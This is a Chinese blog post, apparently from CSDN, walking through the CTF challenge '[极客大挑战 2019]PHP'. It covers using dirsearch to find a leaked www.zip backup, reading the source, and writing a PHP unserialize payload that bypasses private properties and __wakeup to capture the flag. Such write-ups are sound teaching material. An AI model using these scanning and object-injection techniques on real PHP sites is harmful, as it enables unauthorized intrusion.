[极客大挑战 2019]PHP 1

题目环境:
image.png

注意这四个字“备份网站”,让我想到了之前自己做网站的时候,有一次上传FTP网站文件,不小心把全部网站文件清空了,我伤心欲绝没有做网站备份文件,自此以后我就把网站文件在本地备份了一份,每更新网站有一次就在本地备份一次,备份格式是ZIP格式,比较节省空间,所以我这猜测它网站后台必定又一个网站备份ZIP文件

使用dirsearch工具扫描网站后台(这个工具是我最喜欢的,扫描的比较全面,大部分都可以扫描到,博主有压缩文件可以私聊我进行领取!)
python dirsearch.py -u http://a02fc32b-1091-4b95-a4a1-27fb1bc51ba1.node4.buuoj.cn:81/
image.png
回车
image.png
大概需要好几分钟(需耐心等待)
扫描出www.zip压缩文件
image.png
下载www.zip文件
image.png
回车进行下载
image.png
假的flag文件
image.png
查看index.php文件
image.png

发现参数select(通过GET方式进行传参)
unserialize反序列化

查看class.php文件
image.png
一道反序列化题目(相对简单的反序列化题目)

PHP魔法函数以及其他函数的理解可以看这两篇文章:https://blog.csdn.net/m0_73734159/article/details/133854073?spm=1001.2014.3001.5502
https://blog.csdn.net/m0_73734159/article/details/130661423?spm=1001.2014.3001.5502
private私有变量,对象和变量名前需要用%00进行绕过
wakeup魔法函数,只需要大于实际变量数即可绕过,比如本题中有两个变量username和password,所以序列化就是O:4:“Name”:2:,O对象名,4就是Name是4个字符,2就是Name对象里面有两个变量,大于实际变量数即可绕过O:4:“Name”:3:
var_dump函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

想要于万军之中取flag首级(只须满足两个条件)

image.png
1、满足password=100
2、满足username=‘admin’

构造exp(取关键代码进行构造)
image.png

<?php
  class Name
{
  private $username = 'nonono';
  private $password = 'yesyes';

public function __construct($username, $password)
  {
    $this->username = $username;
    $this->password = $password;
  }
}
$flag=new Name('admin',100);
var_dump(serialize($flag));
?>

payload:
image.pngO:4:"Name":2:{s:14:"\000Name\000username";s:5:"admin";s:14:"\000Name\000password";i:100;}
绕过private和wakeup
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
最终payload:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
上传payload:
image.png
得到flag:
flag{5750f1c4-ad75-42cf-9bd2-79e668cfc3a4}

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白猫a~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值